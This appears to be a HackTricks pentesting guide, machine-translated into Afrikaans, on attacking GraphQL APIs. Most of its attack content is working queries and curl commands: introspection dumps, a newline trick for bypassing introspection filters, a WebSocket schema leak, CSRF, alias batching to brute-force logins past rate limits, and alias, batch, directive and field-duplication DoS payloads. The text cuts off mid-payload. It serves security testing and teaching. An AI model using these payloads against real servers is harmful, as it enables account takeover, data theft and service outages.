GraphQL

Reading time: 32 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Inleiding

GraphQL word uitgelig as 'n doeltreffende alternatief vir REST API, wat 'n vereenvoudigde benadering bied om data van die agterkant te vra. In teenstelling met REST, wat dikwels 'n aantal versoeke oor verskillende eindpunte benodig om data te versamel, stel GraphQL die haal van alle vereiste inligting deur 'n enkele versoek in staat. Hierdie stroomlynproses voordele ontwikkelaars deur die kompleksiteit van hul data-haalprosesse te verminder.

GraphQL en Sekuriteit

Met die opkoms van nuwe tegnologieë, insluitend GraphQL, ontstaan ook nuwe sekuriteitskwesbaarhede. 'n Sleutelpunt om te noem is dat GraphQL nie outentikasie-meganismes standaard insluit nie. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike outentikasie kan GraphQL eindpunte sensitiewe inligting aan nie-geoutentiseerde gebruikers blootstel, wat 'n beduidende sekuriteitsrisiko inhou.

Gids Brute Force Aanvalle en GraphQL

Om blootgestelde GraphQL voorbeelde te identifiseer, word die insluiting van spesifieke paaie in gids brute force aanvalle aanbeveel. Hierdie paaie is:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Die identifisering van oop GraphQL voorbeelde stel in staat om die ondersteunende versoeke te ondersoek. Dit is van kardinale belang om die data wat deur die eindpunt beskikbaar is, te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die versoeke wat 'n skema ondersteun, te detailleer. Vir meer inligting hieroor, verwys na die GraphQL dokumentasie oor introspeksie: GraphQL: 'n vrae-taal vir API's.

Vingerafdruk

Die hulpmiddel graphw00f is in staat om te detecteer watter GraphQL enjin in 'n bediener gebruik word en druk dan nuttige inligting vir die sekuriteitsauditor uit.

Universele versoeke

Om te kontroleer of 'n URL 'n GraphQL diens is, kan 'n universele versoek, query{__typename}, gestuur word. As die antwoord {"data": {"__typename": "Query"}} insluit, bevestig dit dat die URL 'n GraphQL eindpunt huisves. Hierdie metode is afhanklik van GraphQL se __typename veld, wat die tipe van die gevraagde objek onthul.

javascript
query{__typename}

Basiese Enumerasie

Graphql ondersteun gewoonlik GET, POST (x-www-form-urlencoded) en POST(json). Alhoewel dit vir sekuriteit aanbeveel word om slegs json toe te laat om CSRF-aanvalle te voorkom.

Introspeksie

Om introspeksie te gebruik om skema-inligting te ontdek, vra die __schema veld. Hierdie veld is beskikbaar op die wortel tipe van alle vrae.

bash
query={__schema{types{name,fields{name}}}}

Met hierdie navraag sal jy die name van al die tipes wat gebruik word, vind:

bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Met hierdie navraag kan jy al die tipes, dit se velde, en dit se argumente (en die tipe van die argumente) onttrek. Dit sal baie nuttig wees om te weet hoe om die databasis te navraag.

Foute

Dit is interessant om te weet of die foute gaan verskyn aangesien dit sal bydra tot nuttige inligting.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Tel Databasischema op via Introspeksie

tip

As introspeksie geaktiveer is, maar die bogenoemde navraag nie loop nie, probeer om die onOperation, onFragment, en onField riglyne uit die navraagstruktuur te verwyder.

bash
#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Inline introspeksie navraag:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Die laaste kode lyn is 'n graphql navraag wat al die meta-inligting van die graphql sal dump (objekte name, parameters, tipes...)

As introspeksie geaktiveer is, kan jy GraphQL Voyager gebruik om in 'n GUI al die opsies te sien.

Nou dat ons weet watter soort inligting in die databasis gestoor is, kom ons probeer om sommige waardes te onttrek.

In die introspeksie kan jy sien watter objek jy direk kan navraag doen (want jy kan nie 'n objek navraag doen net omdat dit bestaan nie). In die volgende beeld kan jy sien dat die "queryType" "Query" genoem word en dat een van die velde van die "Query" objek "flags" is, wat ook 'n tipe objek is. Daarom kan jy die vlag objek navraag doen.

Let daarop dat die tipe van die navraag "flags" "Flags" is, en hierdie objek is soos hieronder gedefinieer:

Jy kan sien dat die "Flags" objektes bestaan uit naam en waarde. Dan kan jy al die name en waardes van die vlae met die navraag kry:

javascript
query={flags{name, value}}

Let daarop dat in die geval waar die objek om te vra 'n primitiewe tipe soos string is, soos in die volgende voorbeeld

Jy kan dit net vra met:

javascript
query = { hiddenFlags }

In 'n ander voorbeeld waar daar 2 voorwerpe binne die "Query" tipe voorwerp was: "user" en "users".
As hierdie voorwerpe nie enige argument nodig het om te soek nie, kan alle inligting van hulle onttrek word deur net te vra vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kan jy die gestoor gebruikersname en wagwoorde onttrek:

E however, in hierdie voorbeeld, as jy probeer om dit te doen, kry jy hierdie fout:

Dit lyk of dit op een of ander manier sal soek met die "uid" argument van tipe Int.
In elk geval, ons het reeds geweet dat, in die Basic Enumeration afdeling 'n navraag voorgestel is wat al die nodige inligting aan ons gewys het: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

As jy die beeld lees wat verskaf is wanneer ek daardie navraag uitvoer, sal jy sien dat "user" die arg "uid" van tipe Int gehad het.

So, deur 'n ligte uid bruteforce uit te voer, het ek gevind dat in uid=1 'n gebruikersnaam en 'n wagwoord onttrek is:
query={user(uid:1){user,password}}

Let daarop dat ek ontdek het dat ek kon vra vir die parameters "user" en "password" omdat as ek probeer om vir iets te soek wat nie bestaan nie (query={user(uid:1){noExists}}), kry ek hierdie fout:

En tydens die enumeration fase het ek ontdek dat die "dbuser" voorwerp as velde "user" en "password" gehad het.

Query string dump trick (dank aan @BinaryShadow_)

As jy kan soek op 'n string tipe, soos: query={theusers(description: ""){username,password}} en jy soek vir 'n leë string, sal dit alle data dump. (Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "theusers" deur 'n String veld genaamd "description").

Soek

In hierdie opstelling bevat 'n databasis persone en films. Persone word geïdentifiseer deur hul e-pos en naam; films deur hul naam en gradering. Persone kan vriende met mekaar wees en het ook films, wat verhoudings binne die databasis aandui.

Jy kan soek na persone deur die naam en hul e-posse kry:

javascript
{
searchPerson(name: "John Doe") {
email
}
}

Jy kan soek na persone deur die naam en hul subscribed films kry:

javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Let op hoe dit aangedui word om die name van die subscribedMovies van die persoon te verkry.

Jy kan ook verskeie voorwerpe terselfdertyd soek. In hierdie geval word 'n soektog na 2 flieks gedoen:

javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Of selfs verhoudings van verskeie verskillende voorwerpe met behulp van aliase:

javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Mutasies word gebruik om veranderinge aan die bedienerkant te maak.

In die introspeksie kan jy die verklaarde mutasies vind. In die volgende beeld word die "MutationType" "Mutation" genoem en die "Mutation" objek bevat die name van die mutasies (soos "addPerson" in hierdie geval):

In hierdie opstelling bevat 'n databasis persone en flieks. Persone word geïdentifiseer deur hul e-pos en naam; flieks deur hul naam en gradering. Persone kan vriende met mekaar wees en het ook flieks, wat verhoudings binne die databasis aandui.

'n Mutasie om nuwe flieks binne die databasis te skep kan soos die volgende een wees (in hierdie voorbeeld word die mutasie addMovie genoem):

javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Let op hoe beide die waardes en tipe data in die navraag aangedui word.

Boonop ondersteun die databasis 'n mutation operasie, genaamd addPerson, wat die skepping van persons saam met hul assosiasies aan bestaande friends en movies moontlik maak. Dit is belangrik om te noem dat die vriende en flieks vooraf in die databasis moet bestaan voordat hulle aan die nuutgeskepte persoon gekoppel kan word.

javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Direkte Oorbelasting

Soos verduidelik in een van die kwesbaarhede beskryf in hierdie verslag, impliseer 'n direkte oorbelasting om 'n direkte oproep selfs miljoene kere te maak om die bediener te laat mors met operasies totdat dit moontlik is om 'n DoS aan te dui.

Groepering brute-force in 1 API versoek

Hierdie inligting is geneem van https://lab.wallarm.com/graphql-batching-attack/.
Autentisering deur middel van GraphQL API met gelyktydig baie navrae met verskillende akrediteerbes om dit te toets. Dit is 'n klassieke brute force aanval, maar nou is dit moontlik om meer as een aanmeld/wagwoord paar per HTTP versoek te stuur as gevolg van die GraphQL groepering kenmerk. Hierdie benadering sou eksterne tariefmonitering toepassings mislei om te dink dat alles reg is en daar geen brute-forcing bot is wat probeer om wagwoorde te raai nie.

Hieronder kan jy die eenvoudigste demonstrasie van 'n toepassingsautentisering versoek vind, met 3 verskillende e-pos/wagwoorde pare op 'n slag. Dit is duidelik moontlik om duisende in 'n enkele versoek op dieselfde manier te stuur:

Soos ons kan sien uit die respons skermskoot, het die eerste en derde versoeke null teruggegee en die ooreenstemmende inligting in die error afdeling weerspieël. Die tweede mutasie het die korrekte autentisering data gehad en die respons het die korrekte autentisering sessie token.

GraphQL Sonder Introspeksie

Al hoe meer graphql eindpunte deaktiveer introspeksie. Tog is die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, genoeg vir gereedskap soos clairvoyance om die meeste van die skema te herop te bou.

Boonop, die Burp Suite uitbreiding GraphQuail uitbreiding observeer GraphQL API versoeke wat deur Burp gaan en bou 'n interne GraphQL skema met elke nuwe navraag wat dit sien. Dit kan ook die skema blootstel vir GraphiQL en Voyager. Die uitbreiding gee 'n vals respons terug wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting kyk hier.

'n Goeie woordlys om GraphQL entiteite te ontdek kan hier gevind word.

Om GraphQL introspeksie verdediging te omseil

Om beperkings op introspeksie navrae in API's te omseil, bewys die invoeging van 'n spesiale karakter na die __schema sleutelwoord effektief. Hierdie metode benut algemene ontwikkelaar oorsigte in regex patrone wat daarop gemik is om introspeksie te blokkeer deur te fokus op die __schema sleutelwoord. Deur karakters soos spasies, nuwe lyne, en komma's by te voeg, wat GraphQL ignoreer maar dalk nie in regex rekening gehou word nie, kan beperkings omseil word. Byvoorbeeld, 'n introspeksie navraag met 'n nuwe lyn na __schema kan sulke verdediging omseil:

bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

As dit nie suksesvol is nie, oorweeg alternatiewe versoekmetodes, soos GET versoeke of POST met x-www-form-urlencoded, aangesien beperkings moontlik net op POST versoeke van toepassing mag wees.

Probeer WebSockets

Soos genoem in hierdie praatjie, kyk of dit moontlik mag wees om met graphQL via WebSockets te verbind, aangesien dit jou mag toelaat om 'n potensiële WAF te omseil en die websocketkommunikasie die skema van die graphQL te laat lek:

javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Ontdek van Blootgestelde GraphQL Strukture

Wanneer introspeksie gedeaktiveer is, is dit 'n nuttige strategie om die webwerf se brondokument te ondersoek vir vooraf gelaaide navrae in JavaScript-biblioteke. Hierdie navrae kan gevind word met behulp van die Sources oortjie in ontwikkelaar gereedskap, wat insigte bied in die API se skema en moontlik blootgestelde sensitiewe navrae onthul. Die opdragte om binne die ontwikkelaar gereedskap te soek is:

javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

As jy nie weet wat CSRF is nie, lees die volgende bladsy:

CSRF (Cross Site Request Forgery)

Daar buite gaan jy verskeie GraphQL eindpunte vind wat sonder CSRF tokens geconfigureer is.

Let daarop dat GraphQL versoeke gewoonlik via POST versoeke gestuur word met die Content-Type application/json.

javascript
{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Echter, die meeste GraphQL eindpunte ondersteun ook form-urlencoded POST versoeke:

javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Daarom, aangesien CSRF versoeke soos die vorige sonder preflight versoeke gestuur word, is dit moontlik om veranderinge in die GraphQL te maak deur 'n CSRF te misbruik.

Let egter daarop dat die nuwe standaard koekiewaarde van die samesite vlag van Chrome Lax is. Dit beteken dat die koekie slegs van 'n derdeparty-web in GET versoeke gestuur sal word.

Let daarop dat dit gewoonlik moontlik is om die query versoek ook as 'n GET versoek te stuur en die CSRF-token mag nie in 'n GET-versoek geverifieer word nie.

Ook, deur 'n XS-Search aanval te misbruik, mag dit moontlik wees om inhoud van die GraphQL eindpunt te ekfiltreer deur die gebruikers se geloofsbriewe te misbruik.

Vir meer inligting kyk die oorspronklike pos hier.

Cross-site WebSocket kaping in GraphQL

Soos CRSF kwesbaarhede wat GraphQL misbruik, is dit ook moontlik om 'n Cross-site WebSocket kaping uit te voer om 'n outentisering met GraphQL met onbeveiligde koekies te misbruik en 'n gebruiker onvoorsiene aksies in GraphQL te laat uitvoer.

Vir meer inligting kyk:

WebSocket Attacks

Magtiging in GraphQL

Baie GraphQL funksies wat op die eindpunt gedefinieer is, mag slegs die outentisering van die versoeker nagaan, maar nie magtiging nie.

Die aanpassing van query-invoervariabeles kan lei tot sensitiewe rekeningbesonderhede gelekt.

Mutasie kan selfs lei tot rekeningoorname deur te probeer om ander rekeningdata te verander.

javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Oorbrug autorisasie in GraphQL

Die ketting van navrae kan 'n swak outentikasie-stelsel oorbrug.

In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-navraag wat daarmee geassosieer is, moet uitvoer. Dit kan oorgeskryf word deur 'n navraag aan die einde toe te voeg, in hierdie geval voeg ons "register" en 'n gebruikersvariabele by sodat die stelsel as 'n nuwe gebruiker geregistreer kan word.

Oorbrug van Tariefbeperkings met behulp van Aliasse in GraphQL

In GraphQL is aliasse 'n kragtige kenmerk wat die benaming van eienskappe eksplisiet toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om meervoudige instansies van dieselfde tipe objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meervoudige eienskappe met dieselfde naam het.

Vir 'n gedetailleerde begrip van GraphQL-aliasse, word die volgende hulpbron aanbeveel: Aliasse.

Terwyl die primêre doel van aliasse is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde gebruiksgeval geïdentifiseer waar aliasse benut kan word om brute force-aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefbeperkings wat ontwerp is om brute force-aanvalle te keer deur die aantal HTTP-versoeke te beperk. Hierdie tariefbeperkings mag egter nie rekening hou met die aantal operasies binne elke versoek nie. Aangesien aliasse die insluiting van meervoudige navrae in 'n enkele HTTP-versoek toelaat, kan hulle sulke tariefbeperkings omseil.

Oorweeg die voorbeeld hieronder, wat illustreer hoe gealiaseerde navrae gebruik kan word om die geldigheid van winkelafslagkode te verifieer. Hierdie metode kan tariefbeperkings omseil aangesien dit verskeie navrae in een HTTP-versoek saamstel, wat moontlik die verifikasie van verskeie afslagkode gelyktydig toelaat.

bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Oorbelasting

Alias Oorbelasting is 'n GraphQL kwesbaarheid waar aanvallers 'n navraag oorlaai met baie aliase vir dieselfde veld, wat die agtergrondoplosser dwing om daardie veld herhaaldelik uit te voer. Dit kan bedienerhulpbronne oorweldig, wat lei tot 'n Denial of Service (DoS). Byvoorbeeld, in die navraag hieronder, word dieselfde veld (expensiveField) 1,000 keer aangevra met behulp van aliase, wat die agtergrond dwing om dit 1,000 keer te bereken, wat moontlik die CPU of geheue uitput:

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Om dit te verminder, implementeer alias telling beperkings, navraag kompleksiteitsanalise, of koersbeperking om hulpbron misbruik te voorkom.

Array-gebaseerde Navraag Groepering

Array-gebaseerde Navraag Groepering is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae gelyktydig uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en moontlik kan lei tot 'n Denial of Service (DoS). As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diensbeskikbaarheid te verlaag.

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

In hierdie voorbeeld word 10 verskillende navrae in een versoek saamgevoeg, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter bundelgrootte of rekenaarintensiewe navrae uitgebuit word, kan dit die bediener oorlaai.

Direktiewe Oorlaai Kwetsbaarheid

Direktiewe Oorlaai vind plaas wanneer 'n GraphQL-bediener navrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validering of perke kan 'n aanvaller dit uitbuit deur 'n navraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te ontlok, wat lei tot Denial of Service (DoS).

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Let wel dat in die vorige voorbeeld @aa 'n pasgemaakte riglyn is wat miskien nie verklaar is nie. 'n Algemene riglyn wat gewoonlik bestaan, is @include:

bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Jy kan ook 'n introspeksievraag stuur om al die verklaarde riglyne te ontdek:

bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

En dan gebruik sommige van die pasgemaakte eenhede.

Veld Duplikaasievulnerabiliteit

Veld Duplikaasie is 'n kwesbaarheid waar 'n GraphQL-bediener navrae toelaat met dieselfde veld wat oormatig herhaal word. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n Denial of Service (DoS).

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 